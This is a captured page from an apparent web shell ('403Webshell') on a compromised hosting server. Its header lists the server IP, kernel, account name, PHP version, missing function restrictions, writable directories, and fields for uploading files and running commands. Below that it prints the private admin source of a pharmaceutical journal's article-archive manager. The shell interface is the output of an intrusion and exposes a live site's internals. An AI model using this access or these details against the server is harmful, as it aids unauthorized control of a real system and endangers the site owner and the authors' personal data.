403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/www/thepharmajournal/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/www/thepharmajournal/admin/archives.php
<?php
if(($opt1) && ($opt1 === 'list' || $opt1 === 'add' || $opt1 === 'edit' || $opt1 === 'view' || $opt1 === 'addgraphics' || $opt1 === 'editgraphics' || $opt1 === 'search')):
	if(($opt1 === 'edit' || $opt1 === 'view')):
		$stmt = $mysqli->prepare("SELECT $firstcol, txnid, doi, month, year, refnumber, volume, issue, part, title, titlefont, authorname, authornamefont, abstract, abstractfont, keywords, description, file, supplementaryfile, subject, country, pagenumber, status, comment, mobile, email, retractoption, retractcontent, modification, creation, views, downloads, specialissue, conference, shortnotes, amendment, amendmentfile FROM $table WHERE $firstcol = ? LIMIT 1") or die($mysqli->error);
		$stmt->bind_param('i', $opt2);
		$stmt->execute();
		$stmt->store_result();
		$count_rows = $stmt->num_rows();
		$stmt->bind_result($id, $txnid, $doi, $emonth, $year, $refnumber, $volume, $issue, $part, $title, $titlefont, $authorname, $authornamefont, $abstract, $abstractfont, $keywords, $description, $file, $supplementaryfile, $subject, $country, $pagenumber, $status, $comment, $mobile, $email, $retractoption, $retractcontent, $modification, $creation, $views, $downloads, $specialissue, $conference, $shortnotes, $amendment, $amendmentfile);
		$stmt->fetch();
		$stmt->close();
		if($count_rows !== 1):
			die('Invalid data selection.');
		endif;
		$optfld = '';

		$emonth		= trim(preg_replace('/[0-9]/', '', $emonth));
		$title		= html_entity_decode($title);
		$abstract	= html_entity_decode($abstract);
		$conference	= html_entity_decode($conference);
		$mobileEmailField = '';
	else:
		$id = '';$txnid = '';$doi = '';$emonth = '';$year = '';$refnumber = '';$volume = '';$issue = '';$part = '';$title = '';$titlefont = '';$authorname = '';$authornamefont = '';$abstract = '';$abstractfont = '';$keywords = '';$description = '';$file = '';$supplementaryfile = '';$subject = '';$country = '';$pagenumber = '';$comment = '';$mobile = '';$email = '';$retractoption = 'disabled';$retractcontent = '';$status = 'enabled';$specialissue = 'N';$conference = '';
		$mobileEmailField = 'hidden';
	endif;

	if(($opt1 === 'list' || $opt1 === 'search')):
		function countgraphics($id){
			global $mysqli, $firstcol;
			$stmt = $mysqli->prepare("SELECT * FROM graphics WHERE $firstcol = ?") or die($mysqli->error);
			$stmt->bind_param('i', $id);
			$stmt->execute();
			$stmt->store_result();
			$count_rows = $stmt->num_rows();
			$stmt->close();
			return $count_rows;
		}
		$params = explode('|', $opt2);
		$urlyear  = (array_key_exists(0, $params)) ? $params[0] : '';
		$urlvolume= (array_key_exists(1, $params)) ? $params[1] : '';
		$urlissue = (array_key_exists(2, $params)) ? $params[2] : '';
		$urlpart  = (array_key_exists(3, $params)) ? $params[3] : '';
		if($opt1 === 'search'):
			$indexbutton = '';
			$url = 'add';
			$volissuepreview = '';
		else:
			$indexbutton = '<input type="submit" value="index page" class="action hidden" onclick="sOPT(\'genindexpage\')" />';
			$url = 'add/'.$opt2;
			$volissuepreview = '<div class="action"><b>vol. - '.$urlvolume.', issue - '.$urlissue.', part - '.$urlpart.', '.$urlyear.'</b></div>';
		endif;

		$equal = $keyword;
		$keyword = "%$keyword%";

		if($opt1 === 'search'):
			$stmt = $mysqli->prepare("SELECT * FROM $table WHERE (doi LIKE ? OR refnumber = ? OR title LIKE ? OR authorname LIKE ? OR keywords LIKE ? OR subject LIKE ? OR country LIKE ? OR pagenumber = ? OR mobile LIKE ? OR email LIKE ?) ORDER BY LENGTH(pagenumber),pagenumber ASC") or die($mysqli->error);
			$stmt->bind_param('ssssssssss', $keyword, $equal, $keyword, $keyword, $keyword, $keyword, $keyword, $equal, $keyword, $keyword);
		else:
			$stmt = $mysqli->prepare("SELECT * FROM $table WHERE (year = ? AND volume = ? AND issue = ? AND part = ?)") or die($mysqli->error);
			$stmt->bind_param('siss', $urlyear, $urlvolume, $urlissue, $urlpart);
		endif;
		$stmt->execute();
		$stmt->store_result();
		$total_rows = $stmt->num_rows();
		$stmt->close();
echo <<<EOJ
		<div class="head">
			{$back}
			<input type="button" value="create new" class="action g" onclick="cURL('{$url}')" />
			{$volissuepreview}
			<input type="submit" value="" class="action ico delete hidden" onclick="sOPT('delete', 'Do you really want to delete?')" />
			{$indexbutton}
			<input type="submit" value="certificate" class="action hidden" onclick="sOPT('gencertificate')" />
			<input type="submit" value="download doi xml" class="action hidden" onclick="sOPT('downloaddoixml', 'Do you really want to download DOI XML?')" />
			<input type="submit" value="download files" class="action" onclick="sOPT('downloadfiles')" />
			<input type="submit" value="check doi" class="action" onclick="sOPT('checkdoi')" />
			<input type="submit" value="enabled" class="action hidden" onclick="sOPT('enabled')" />
			<input type="submit" value="disabled" class="action hidden" onclick="sOPT('disabled')" />
			<input type="hidden" name="params" value="{$opt2}" readonly />
			<div class="fr"><b>Total Rows : {$total_rows}</b></div>
		</div>
		<table border="0" cellpadding="0" cellspacing="0" class="table">
			<thead>
			<tr>
			<th align="center" valign="middle" class="xs"><input type="checkbox" name="checkall" id="checkall" value="" /></th>
			<th align="center" valign="middle" class="xs">s. no.</th>
			<th align="left" valign="middle" style="width:80px">ref. num.</th>
			<th align="center" valign="middle" style="width:75px" nowrap>doi active</th>
			<th align="left" valign="middle">title</th>
			<th align="center" valign="middle" style="width:80px">pages</th>
			<th align="center" valign="middle" style="width:60px">mail</th>
			<th align="center" valign="middle" style="width:85px">certificate</th>
			<th align="center" valign="middle" style="width:70px">message</th>
			<th align="center" valign="middle" style="width:100px">advertisement</th>
			<th align="right" valign="middle" class="md">modification</th>
			<th align="right" valign="middle" class="md">creation</th>
			<th align="center" valign="middle" class="sm">action</th>
			</tr>
			</thead>
			<tbody>
EOJ;
			if($opt1 === 'search'):
				$stmt = $mysqli->prepare("SELECT archive.archivesid, archive.doi, archive.doiactive, archive.year, archive.refnumber, archive.volume, archive.issue, archive.part, archive.title, archive.titlefont, archive.file, archive.pagenumber, archive.status, archive.mailstatus, archive.certificatemailstatus, archive.wa_message_send, archive.wa_advertisement_send, archive.modification, archive.creation, archive.countdoixmldownload FROM $table as archive WHERE (archive.refnumber = ? OR archive.title LIKE ? OR archive.authorname LIKE ? OR archive.pagenumber LIKE ? OR archive.mobile LIKE ? OR archive.email LIKE ?) ORDER BY LENGTH(archive.pagenumber),archive.pagenumber ASC") or die($mysqli->error);
				$stmt->bind_param('ssssss', $equal, $keyword, $keyword, $keyword, $keyword, $keyword);
			else:
				$stmt = $mysqli->prepare("SELECT $firstcol, doi, doiactive, year, refnumber, volume, issue, part, title, titlefont, file, pagenumber, status, mailstatus, certificatemailstatus, wa_message_send, wa_advertisement_send, modification, creation, countdoixmldownload FROM $table WHERE (year = ? AND volume = ? AND issue = ? AND part = ?) ORDER BY LENGTH(pagenumber),pagenumber ASC") or die($mysqli->error);
				$stmt->bind_param('siss', $urlyear, $urlvolume, $urlissue, $urlpart);
			endif;
			$stmt->execute();
			$stmt->store_result();
			if($stmt->num_rows() > 0):
				$stmt->bind_result($id, $doi, $doiactive, $year, $refnumber, $volume, $issue, $part, $title, $titlefont, $file, $pagenumber, $status, $mailstatus, $certificatemailstatus, $wa_message_send, $wa_advertisement_send, $modification, $creation, $countdoixmldownload);
				while($stmt->fetch()):
					$snum = $snum + 1;
					$refnocolor = (($file && file_exists($archiveuploadpath.$year.'/vol'.$volume.'issue'.$issue.'/Part'.$part.'/'.$file))) ? '333' : 'ea4335';

					$titlecolor = ($status == 'disabled') ? 'ea4335' : '333';
					$title = strip_tags($title, '<i><em><sup><sub><img>');
					$title = ($equal) ? $title.'<span class="fr" style="margin-top:2px;font-size:11px">'.$year.', VOL. '.$volume.', ISSUE '.$issue.', PART - '.$part.'</span>' : $title;
					$title = ($titlefont) ? '<span style="font-family:'.$titlefont.' !important;font-size:16px;">'.$title.'</span>' : $title;
					$title = html_entity_decode($title);

					$countgraphics = countgraphics($id);

					$doibg = $doi ? '2d8024' : 'f00';
					$doiactive = $doiactive === 'Y' ? '<svg style="color:green" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16"><path d="M13.854 3.646a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L6.5 10.293l6.646-6.647a.5.5 0 0 1 .708 0z"/></svg>' : '<svg style="color:red" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16"><path d="M2.146 2.854a.5.5 0 1 1 .708-.708L8 7.293l5.146-5.147a.5.5 0 0 1 .708.708L8.707 8l5.147 5.146a.5.5 0 0 1-.708.708L8 8.707l-5.146 5.147a.5.5 0 0 1-.708-.708L7.293 8 2.146 2.854Z"/></svg>';
echo <<<EOJ
					<tr>
					<td align="center" valign="middle"><input type="checkbox" name="dataid[]" value="{$id}" class="checkbox" /></td>
					<td align="center" valign="middle">{$snum}</td>
					<td align="left" valign="middle"><span style="color:#{$refnocolor}">{$refnumber}</span><a href="https://doi.org/{$doi}" target="_blank" class="counting" style="color:#fff;text-decoration:none;background-color:#{$doibg};">DOI: {$countdoixmldownload}</a></td>
					<td align="center" valign="middle" nowrap>{$doiactive}</td>
					<td align="left" valign="middle"><span style="color:#{$titlecolor}">{$title}</span></td>
					<td align="center" valign="middle">{$pagenumber}</td>
					<td align="center" valign="middle">{$mailstatus}</td>
					<td align="center" valign="middle">{$certificatemailstatus}</td>
					<td align="center" valign="middle">{$wa_message_send}</td>
					<td align="center" valign="middle">{$wa_advertisement_send}</td>
					<td align="right" valign="middle">{$fn->dateformat($modification)}</td>
					<td align="right" valign="middle">{$fn->dateformat($creation)}</td>
					<td align="center" valign="middle">
					<button type="button" onclick="cURL('addgraphics/{$id}')">picture ({$countgraphics})</button><br clear="all">
					<button type="button" onclick="cURL('view/{$id}')">view</button>
					<button type="button" onclick="cURL('edit/{$id}')">edit</button>
					</td>
					</tr>
EOJ;
				endwhile;
				$stmt->close();
			else:
				echo '<tr><td align="center" valign="middle" colspan="13">'.$emptyrows.'</td></tr>';
			endif;
		echo '</tbody>';
		echo '</table>';
	elseif($opt1 === 'view'):
		$path = $archiveuploadpath.$year.'/vol'.$volume.'issue'.$issue.'/Part'.$part.'/';
		$mfilebtn = (($file && file_exists($path.$file))) ? '<input type="button" value="remove file" class="action" onclick="dopost(\'removemainfile\', \''.$opt2.'\', \'Do you really want to remove file?\')" />' : '';
		$sfilebtn = (($supplementaryfile && file_exists($path.$supplementaryfile))) ? '<input type="button" value="remove supplementary file" class="action" onclick="dopost(\'removesuppfile\', \''.$opt2.'\', \'Do you really want to remove supplementary file?\')" />' : '';

		$title = ($titlefont) ? '<span style="font-family:'.$titlefont.' !important;font-size:16px">'.$title.'</span>' : $title;
		$authorname = ($authornamefont) ? '<span style="font-family:'.$authornamefont.' !important;font-size:16px">'.$authorname.'</span>' : $authorname;
		$abstract = ($abstractfont) ? '<span style="font-family:'.$abstractfont.' !important;font-size:16px">'.$abstract.'</span>' : $abstract;
echo <<<EOJ
		<div class="head">
			{$back}
			<input type="button" value="" class="action ico delete" onclick="dopost('delete', '{$opt2}', 'Do you really want to delete?', true)" />
			<input type="button" value="edit" class="action" onclick="cURL('edit/{$opt2}')" />
			{$mfilebtn}{$sfilebtn}
		</div>
		<table border="0" cellpadding="0" cellspacing="0" class="table view">
			<tbody>
			<tr><th>Data ID</th><td>&num;{$opt2}</td></tr>
			<tr><th>Archives For</th><td>{$emonth} {$year}</td></tr>
			<tr><th>Ref. Number</th><td>{$refnumber}</td></tr>
			<tr><th>Volume</th><td>{$volume}</td></tr>
			<tr><th>Issue</th><td>{$issue}</td></tr>
			<tr><th>Part</th><td>{$part}</td></tr>
			<tr><th>Title</th><td>{$title}</td></tr>
			<tr><th>Author Name</th><td>{$authorname}</td></tr>
			<tr><th>Abstract</th><td>{$abstract}</td></tr>
			<tr><th>Meta Keywords</th><td>{$keywords}</td></tr>
			<tr><th>Meta Description</th><td>{$description}</td></tr>
			<tr><th>Subject</th><td>{$subject}</td></tr>
			<tr><th>Country</th><td>{$country}</td></tr>
			<tr><th>Page Number</th><td>{$pagenumber}</td></tr>
			<tr><th>Mobile</th><td>{$mobile}</td></tr>
			<tr><th>Email</th><td>{$email}</td></tr>
			<tr><th>Status</th><td>{$status}</td></tr>
			<tr><th>Modification</th><td>{$fn->dateformat($modification)}</td></tr>
			<tr><th>Creation</th><td>{$fn->dateformat($creation)}</td></tr>
			<tr><th>Views</th><td>{$views}</td></tr>
			<tr><th>Special Issue</th><td>{$specialissue}</td></tr>
			<tr><th>Conference</th><td>{$conference}</td></tr>
			<tr><th>Short Notes</th><td>{$shortnotes}</td></tr>
			<tr><th>Amendment</th><td>{$amendment}</td></tr>
			<tr><th>Amendment File</th><td>{$amendmentfile}</td></tr>
			</tbody>
		</table>
EOJ;
	elseif(($opt1 === 'add' || $opt1 === 'edit')):
		$status = ($status == 'enabled') ? 'checked' : '';
		$retractoption = ($retractoption == 'enabled') ? 'checked' : '';
		$specialissue = ($specialissue == 'Y') ? 'checked' : '';

		if($opt1 === 'add'):
			$params = explode('|', $opt2);
			$year   = (array_key_exists(0, $params)) ? $params[0] : '';
			$volume = (array_key_exists(1, $params)) ? $params[1] : '';
			$issue  = (array_key_exists(2, $params)) ? $params[2] : '';
			$part   = (array_key_exists(3, $params)) ? $params[3] : '';

			$stmt = $mysqli->prepare("SELECT month, specialissue, conference FROM $table WHERE (year = ? AND volume = ? AND issue = ? AND part = ?) ORDER BY $firstcol DESC LIMIT 1") or die($mysqli->error);
			$stmt->bind_param('siss', $year, $volume, $issue, $part);
			$stmt->execute();
			$stmt->store_result();
			$stmt->bind_result($emonth, $specialissue, $conference);
			$stmt->fetch();
			$stmt->close();
			$specialissue = ($specialissue === 'Y') ? 'checked' : '';
			$conference	= html_entity_decode($conference);
		endif;

		$emonth = explode('-', $emonth);
		$month1 = (array_key_exists(0, $emonth)) ? trim($emonth[0]) : '';
		$month2 = (array_key_exists(1, $emonth)) ? trim($emonth[1]) : '';

		$months = '';
		for($m = 1; $m <= 12; $m++) : $months[] = date('M', mktime(0,0,0,$m,1)); endfor;

		$fmonth = '';
		foreach($months as $month):
			$selected = ($month1 == $month) ? 'selected' : '';
			$fmonth .= '<option value="'.$month.'" '.$selected.'>'.$month.'</option>';
		endforeach;

		$smonth = '';
		foreach($months as $month):
			$selected = ($month2 == $month) ? 'selected' : '';
			$smonth .= '<option value="'.$month.'" '.$selected.'>'.$month.'</option>';
		endforeach;

		$volumes = '';
		foreach(range('1', '100') as $prevolume):
			$selected = ($prevolume == $volume) ? 'selected' : '';
			$volumes .= '<option value="'.$prevolume.'" '.$selected. '>Volume '.$prevolume.'</option>';
		endforeach;

		$issues = '';
		foreach(range('1', '100') as $preissue):
			$selected = ($preissue == $issue) ? 'selected' : '';
			$issues .= '<option value="'.$preissue.'" '.$selected.'>Issue '.$preissue.'</option>';
		endforeach;

		function years(){
			global $mysqli, $table;$html = '';
			$stmt = $mysqli->prepare("SELECT year FROM $table GROUP BY year ORDER BY year DESC") or die($mysqli->error);
			$stmt->execute();
			$stmt->store_result();
			$stmt->bind_result($year);
			while($stmt->fetch()):
				$html .= ($year) ? '<option value="'.trim($year).'">'.trim($year).'</option>' : '';
			endwhile;
			$stmt->close();
			return $html;
		}
		$years = years();
		function subjects(){
			global $mysqli, $table;$html = '';
			$stmt = $mysqli->prepare("SELECT subject FROM $table GROUP BY TRIM(subject) ORDER BY subject ASC") or die($mysqli->error);
			$stmt->execute();
			$stmt->store_result();
			$stmt->bind_result($subject);
			while($stmt->fetch()):
				$html .= ($subject) ? '<option value="'.trim($subject).'">'.trim($subject).'</option>' : '';
			endwhile;
			$stmt->close();
			return $html;
		}
		$subjects = subjects();
		function countries(){
			global $mysqli, $table;$html = '';
			$stmt = $mysqli->prepare("SELECT nicename FROM country GROUP BY nicename ORDER BY nicename ASC") or die($mysqli->error);
			$stmt->execute();
			$stmt->store_result();
			$stmt->bind_result($country);
			while($stmt->fetch()):
				$html .= ($country) ? '<option value="'.trim($country).'">'.trim($country).'</option>' : '';
			endwhile;
			$stmt->close();
			return $html;
		}
		$countries = countries();
		function font($font){
			global $mysqli;$html = '';
			$stmt = $mysqli->prepare("SELECT name FROM fonts ORDER BY name ASC") or die($mysqli->error);
			$stmt->execute();
			$stmt->store_result();
			$stmt->bind_result($name);
			while($stmt->fetch()):
				$selected = ($name == $font) ? 'selected' : '';
				$html .= '<option value="'.$name.'" '.$selected.'>'.$name.'</option>';
			endwhile;
			$stmt->close();
			return $html;
		}
		$titlefont = font($titlefont);
		$authornamefont = font($authornamefont);
		$abstractfont = font($abstractfont);

		if($opt1 === 'add'):
			$stmt = $mysqli->prepare("SELECT AUTO_INCREMENT FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = ? AND TABLE_NAME = ?") or die($mysqli->error);
			$stmt->bind_param('ss', $dbname, $table);
			$stmt->execute();
			$stmt->store_result();
			$stmt->bind_result($nextarchivesid);
			$stmt->fetch();
			$stmt->close();
		else:
			$nextarchivesid = $opt2;
		endif;
		$nextdoi = '10.22271/tpi.'.$year.'.v'.$volume.'.i'.$issue.strtolower($part).'.'.$nextarchivesid;

		echo <<<EOJ
		<input type="hidden" name="dataid" value="{$opt2}" readonly />
		<div class="head">
			{$back}
			<input type="reset" value="reset" class="action" />
			<input type="submit" value="submit" class="action b" onclick="sOPT('{$opt1}')" />
			<input type="button" value="upload files" class="action" onclick="compose('.upf')" style="float:right;margin:0px" />
		</div>
		<div class="body">
			<div class="row">
				<div class="fl">
					<div class="rw"><label><input type="checkbox" name="status" value="enabled" {$status} />status</label></div>
					<div class="rw"><label><input type="checkbox" name="renamepdf" value="enabled" checked />rename pdf</label></div>
				</div>
				<div class="fr">
					<div class="fl">
						<div class="fl">
							<label class="flbl">First Month :<span>*</span></label>
							<select name="month1" class="field field-select">
								<option value="" selected="selected">Select Month 1</option>
								{$fmonth}
							</select>
						</div>
						<div class="fr">
							<label class="flbl">Second Month :</label>
							<select name="month2" class="field field-select">
								<option value="" selected="selected">Select Month 2</option>
								{$smonth}
							</select>
						</div>
					</div>
					<div class="fr">
						<div class="fl">
							<label class="flbl">Year :<span>*</span></label>
							<input type="text" name="year" value="{$year}" maxlength="4" class="field digit" onpaste="return false" />
						</div>
						<div class="fr">
							<label class="flbl">Year List :<span>*</span></label>
							<select class="field field-select" onchange="this.form.year.value = this.value;">
								<option value="" selected="selected">Select Year</option>
								{$years}
							</select>
						</div>
					</div>
				</div>
			</div>
			<div class="row">
				<div class="fl">
				    <!--
					<div class="fl lg" style="width:25%">
						<label class="flbl">TXN ID :<span>*</span></label>
						<input type="text" name="txnid" value="{$txnid}" class="field" />
					</div>-->
					<div class="fl lg" style="width:40%">
						<label class="flbl">Ref. Number :<span>*</span></label>
						<input type="text" name="refnum" value="{$refnumber}" class="field" onpaste="return false" />
					</div>
					<div class="fl lg" style="width:60%">
						<label class="flbl">DOI Number :</label>
						<div style="float:left;width:100%;display:flex">
							<input type="text" name="doi" value="{$doi}" id="doi" class="field" />
							<div class="rw" style="width:100px;margin:0">
								<label><input type="checkbox" name="allotdoi" value="Y" id="allotdoi" onchange="if(this.checked){ $('#doi').val('{$nextdoi}'); } else { $('#doi').val(''); }" />allot</label>
							</div>
						</div>
					</div>
				</div>
				<div class="fr">
					<div class="fl lg">
						<label class="flbl">Volume Number :<span>*</span></label>
						<select name="volume" class="field">
							<option value="" selected="selected">Select Volume</option>
							{$volumes}
						</select>
					</div>
					<div class="fl lg">
						<label class="flbl">Issue Number :<span>*</span></label>
						<select name="issue" class="field">
							<option value="" selected="selected">Select Issue</option>
							{$issues}
						</select>
					</div>
					<div class="fl lg">
						<label class="flbl">Part :<span>*</span></label>
						<input type="text" name="part" value="{$part}" class="field" />
					</div>
				</div>
			</div>
			<div class="row">
				<label class="flbl">Title :<span>*</span></label>
				<div class="fluid">
					<textarea rows="25" cols="25" name="title" id="editor" class="field">{$title}</textarea>
				</div>
			</div>
			<div class="row">
				<label class="flbl">Author Name <small>(Multiple author name should be seperate by comma)</small>:<span>*</span></label>
				<input type="text" name="name" value="{$authorname}" class="field" />
			</div>
			<div class="row">
				<label class="flbl">Abstract :</label>
				<div class="fluid md">
					<textarea rows="25" cols="25" name="abstract" id="editor" class="field">{$abstract}</textarea>
				</div>
			</div>
			<div class="row">
				<div class="fl">
					<label class="flbl">Meta Description :</label>
					<input type="text" name="description" value="{$description}" class="field" />
				</div>
				<div class="fr">
					<label class="flbl">Meta Keywords :</label>
					<input type="text" name="keywords" value="{$keywords}" class="field" />
				</div>
			</div>
			<div class="row">
				<div class="fl">
					<div class="fl">
						<label class="flbl">Main File <small>(Only PDF, DOC and DOCX file allowed)</small>:{$optfld}</label>
						<input type="file" name="mainfile" class="field field-file" style="height:137px" />
					</div>
					<div class="fr">
						<label class="flbl">Supplementary File <small>(Only PDF, DOC and DOCX file allowed)</small>:</label>
						<input type="file" name="suppfile" class="field field-file" style="height:137px" />
					</div>
				</div>
				<div class="fr">
					<div class="row">
						<div class="fl">
							<label class="flbl">Subject :</label>
							<input type="text" name="subject" value="{$subject}" class="field" />
						</div>
						<div class="fr">
							<label class="flbl">Subject List :</label>
							<select class="field field-select" onchange="this.form.subject.value = this.value;">
								<option value="" selected="selected">Select Subject</option>
								{$subjects}
							</select>
						</div>
					</div>
					<div class="row">
						<div class="fl">
							<label class="flbl">Country :<span>*</span></label>
							<input type="text" name="country" value="{$country}" readonly class="field" />
						</div>
						<div class="fr">
							<label class="flbl">Country List :</label>
							<select class="field field-select" onchange="this.form.country.value = this.value;">
								<option value="" selected="selected">Select country</option>
								{$countries}
							</select>
						</div>
					</div>
					<div class="row">
						<label class="flbl">Page Number :<span>*</span></label>
						<input type="text" name="pagenum" value="{$pagenumber}" class="field pgnum" onpaste="return false" />
					</div>
				</div>
			</div>
			<div class="row" {$mobileEmailField}>
				<div class="fl">
					<label class="flbl">Mobile <small>(Multiple mobile numbers should be seperate by comma)</small>:</label>
					<input type="text" name="mobile" value="{$mobile}" class="field phone" />
				</div>
				<div class="fr">
					<label class="flbl">Email <small>(Multiple emails should be seperate by comma)</small>:</label>
					<input type="text" name="email" value="{$email}" class="field" />
				</div>
			</div>
			<div class="row">
				<div class="fl lg">
					<label class="flbl">Title Font :</label>
					<select name="titlefont" class="field">
						<option value="" selected="selected">Choose Font</option>
						{$titlefont}
					</select>
				</div>
				<div class="fl lg">
					<label class="flbl">Author Name Font :</label>
					<select name="namefont" class="field">
						<option value="" selected="selected">Choose Font</option>
						{$authornamefont}
					</select>
				</div>
				<div class="fl lg">
					<label class="flbl">Abstract Font :</label>
					<select name="abstractfont" class="field">
						<option value="" selected="selected">Choose Font</option>
						{$abstractfont}
					</select>
				</div>
			</div>
			<div class="row">
				<label class="flbl">Comment :</label>
				<input type="text" name="comment" value="{$comment}" class="field" />
			</div>
			<div class="row">
				<label class="flbl">Retract Content :</label>
				<div class="flex">
					<input type="text" name="retractcontent" value="{$retractcontent}" class="field" />
					<div class="rw"><label><input type="checkbox" name="retractoption" value="enabled" {$retractoption} />retract option</label></div>
				</div>
			</div>
			<div class="row">
				<label class="flbl">Conference Name :</label>
				<div class="flex">
					<input type="text" name="conference" value="{$conference}" class="field" />
					<div class="rw"><label><input type="checkbox" name="specialissue" value="Y" {$specialissue} />special issue</label></div>
				</div>
			</div>
			<div class="row">
				<label class="flbl">Short Notes :</label>
				<input type="text" name="shortnotes" value="{$shortnotes}" class="field" />
			</div>
			<div class="row">
				<div class="fl">
					<label class="flbl">Amendment :</label>
					<input type="text" name="amendment" value="{$amendment}" class="field" />
				</div>
				<div class="fr">
					<label class="flbl">Amendment File :</label>
					<input type="file" name="amendmentfile[]" multiple="multiple" class="field field-file" />
				</div>
			</div>
		</div>
		<br clear="all">
		<br clear="all">
EOJ;
		if($opt1 === 'edit' && $opt2):
echo <<<EOJ
		<div id="authormodal" style="width:700px;height:360px;background:#fff;border-radius:8px;position:fixed;top:50px;left:0;right:0;z-index:999;margin:auto;box-shadow:0 10px 25px #333;overflow-y:scroll;" hidden>
			<div style="padding:12px 8px;display:flex;align-items:center">
				<h3>Add Author</h3>
				<button type="button" class="action" style="margin-left:auto;margin-right:10px;" onclick="addauthorsinmodal()">Add Author</button>
				<button type="button" class="action" style="margin-right:10px;" onclick="fetchauthors('fetchauthorsforedit')">Fetch</button>
				<button type="button" class="action" style="margin-right:10px;" onclick="authormodal.hidden = true;">Close</button>
				<button type="submit" class="action b" onclick="sOPT('addauthors')">Submit</button>
			</div>
			<table class="table">
				<thead id="fetchedauthors">
					<tr>
						<th>name</th>
						<th>email</th>
						<th>phone</th>
						<th style="with:60px;" nowrap></th>
					</tr>
					<tr>
						<td><input type="text" name="new_aa_authorname[]" style="width:100%;padding:.5rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /></td>
						<td><input type="text" name="new_aa_authoremail[]" style="width:100%;padding:.5rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /></td>
						<td><input type="text" name="new_aa_authorphone[]" style="width:100%;padding:.5rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /></td>
						<td nowrap style="text-align:center;">
							<button type="button" onclick="$(this).closest('tr').remove()">Remove</button>
						</td>
					</tr>
				</thead>
				<tbody id="multiauthors"></tbody>
			</table>
		</div>

		<button type="button" class="action" style="margin-right:10px;" onclick="authormodal.hidden = false">Add Author</button>
		<button type="submit" class="action r hidden" style="display:none;" onclick="sOPT('deleteauthors', 'Do you really want to delete?')">Delete</button>

		<br clear="all">
		<br clear="all">

		<table class="table">
			<thead>
				<tr>
					<th align="center" valign="middle" class="xs"><input type="checkbox" name="checkall" id="checkall" value="" /></th>
					<th>name</th>
					<th>email</th>
					<th>phone</th>
					<th colspan="3" nowrap style="background-color:#d5d5d5;">
						<div style="display:flex;align-items:center;justify-content:center;">
							<input type="checkbox" onclick="if(this.checked){ $('.mailCheckbox').val(1) }else{ $('.mailCheckbox').val('') }">&nbsp;&nbsp;&nbsp;send email
						</div>
					</th>
					<th colspan="2" nowrap style="background-color:#d5d5d5;">
						<div style="display:flex;align-items:center;justify-content:center;">
							<input type="checkbox" onclick="if(this.checked){ $('.waCheckbox').val(1) }else{ $('.waCheckbox').val('') }">&nbsp;&nbsp;&nbsp;send whatsapp
						</div>
					</th>
				</tr>
EOJ;
				$stmt = $mysqli->prepare("SELECT id, name, email, phone FROM archiveauthors WHERE archiveid = ?") or die($mysqli->error);
				$stmt->bind_param('i', $opt2);
				$stmt->execute();
				$stmt->store_result();
				$stmt->bind_result($aa_id, $aa_name, $aa_email, $aa_phone);
				while($stmt->fetch()):
echo <<<EOJ
					<tr>
						<td align="center" valign="middle"><input type="checkbox" name="archiveauthorid[]" value="{$aa_id}" class="checkbox" /></td>
						<td><input type="text" value="{$aa_name}" name="aa_authorname[{$aa_id}]" style="width:100%;padding:.5rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /></td>
						<td><input type="text" value="{$aa_email}" name="aa_authoremail[{$aa_id}]" style="width:100%;padding:.5rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /></td>
						<td><input type="text" value="{$aa_phone}" name="aa_authorphone[{$aa_id}]" style="width:100%;padding:.5rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /></td>
						<td nowrap style="text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;width:50px;background-color:#d5d5d5;">
							<input class="mailCheckbox" type="text" name="sendmail[{$aa_id}]" maxlength="1" style="text-align:center;width:36px;padding:.1rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /><br clear="all">Mail
						</td>
						<td nowrap style="text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;width:80px;background-color:#d5d5d5;">
							<input class="mailCheckbox" type="text" name="sendcertificate[{$aa_id}]" maxlength="1" style="text-align:center;width:36px;padding:.1rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /><br clear="all">Certificate
						</td>
						<td nowrap style="text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;width:75px;background-color:#d5d5d5;">
							<input class="mailCheckbox" type="text" name="sendcopyrightform[{$aa_id}]" maxlength="1" style="text-align:center;width:36px;padding:.1rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /><br clear="all">Copyright
						</td>
						<td nowrap style="text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;width:70px;background-color:#c5c5c5;">
							<input class="waCheckbox" type="text" name="sendwamessage[{$aa_id}]" maxlength="1" style="text-align:center;width:36px;padding:.1rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /><br clear="all">Message
						</td>
						<td nowrap style="text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;width:90px;background-color:#c5c5c5;">
							<input class="waCheckbox" type="text" name="sendwaadvertisement[{$aa_id}]" maxlength="1" style="text-align:center;width:36px;padding:.1rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /><br clear="all">Advertisement
						</td>
					</tr>
EOJ;
				endwhile;
				$stmt->close();
echo <<<EOJ
			</thead>
		</table>
		<br clear="all">
		<br clear="all">
		<br clear="all">
EOJ;
		else:
echo <<<EOJ
		<button type="button" class="action" style="margin-right:10px;" onclick="fetchauthors('fetchauthorsforadd')">Fetch</button>
